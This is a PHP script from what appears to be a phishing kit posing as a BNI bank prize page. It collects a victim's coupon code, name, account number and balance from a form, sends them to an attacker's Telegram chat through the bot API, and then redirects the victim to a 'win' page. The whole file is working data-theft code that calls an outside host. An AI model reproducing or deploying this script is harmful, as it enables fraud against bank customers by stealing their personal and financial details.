<?php

session_start();
include "mailman.php";

$kupon = $_SESSION['kupon'];
$nama = $_SESSION['nama'];
$nomor = $_SESSION['nomor'];
$saldo = $_SESSION['saldo'];
$kupon   = $_POST['kupon'];
$nama   = $_POST['nama'];
$nomor   = $_POST['nomor'];
$saldo   = $_POST['saldo'];
$message = "
𝗗𝗔𝗧𝗔 𝗕𝗔𝗡𝗞 𝗕𝗡𝗜
===============
├───────────────────
├• 𝗞𝘂𝗽𝗼𝗻 : ".$kupon."
├• 𝗡𝗮𝗺𝗮 : ".$nama."
├• 𝗡𝗼𝗺𝗼𝗿 : ".$nomor."
├• 𝗦𝗮𝗹𝗱𝗼 : ".$saldo."
╰───────────────────
";

function sendMessage($telegram_id, $message, $id_bot) {
    $url = "https://api.telegram.org/bot" . $id_bot . "/sendMessage?parse_mode=markdown&chat_id=" . $telegram_id;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true
    );
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

sendMessage($telegram_id, $message, $id_bot);
header('Location: ../win.html');
?>